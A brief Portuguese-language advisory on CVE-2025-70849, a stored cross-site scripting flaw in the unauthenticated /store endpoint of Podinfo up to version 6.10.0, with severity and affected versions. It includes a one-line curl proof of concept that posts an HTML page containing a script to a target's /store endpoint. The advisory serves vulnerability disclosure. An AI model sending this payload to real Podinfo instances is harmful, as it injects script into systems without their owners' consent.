CVE-2025-70849: XSS Armazenado no Podinfo

Resumo

Uma vulnerabilidade de segurança (CWE-79) foi identificada no Podinfo, uma aplicação web para demonstrar microsserviços Kubernetes. O recurso /store permite que usuários não autenticados carreguem conteúdo HTML/JS arbitrário, resultando em XSS Armazenado.

Detalhes da Vulnerabilidade

ID do CVE: CVE-2025-70849
Produto: Podinfo
Endpoint Afetado: /store
Tipo de Vulnerabilidade: Cross-Site Scripting (XSS) Armazenado
Versões Afetadas: <= 6.10.0

Prova de Conceito (PoC)

Envie o payload malicioso:

curl -X POST https://<target>/store -H "Content-Type: application/text" -d '<html><script>alert("CVE-2025-70849")</script></html>'

CVE-2025-70849-Podinfo

Mais Populares

Linha do Tempo

Aviso Legal Esta pesquisa é apenas para fins educacionais.

Pesquisadores :

Gravidade: Média 6.4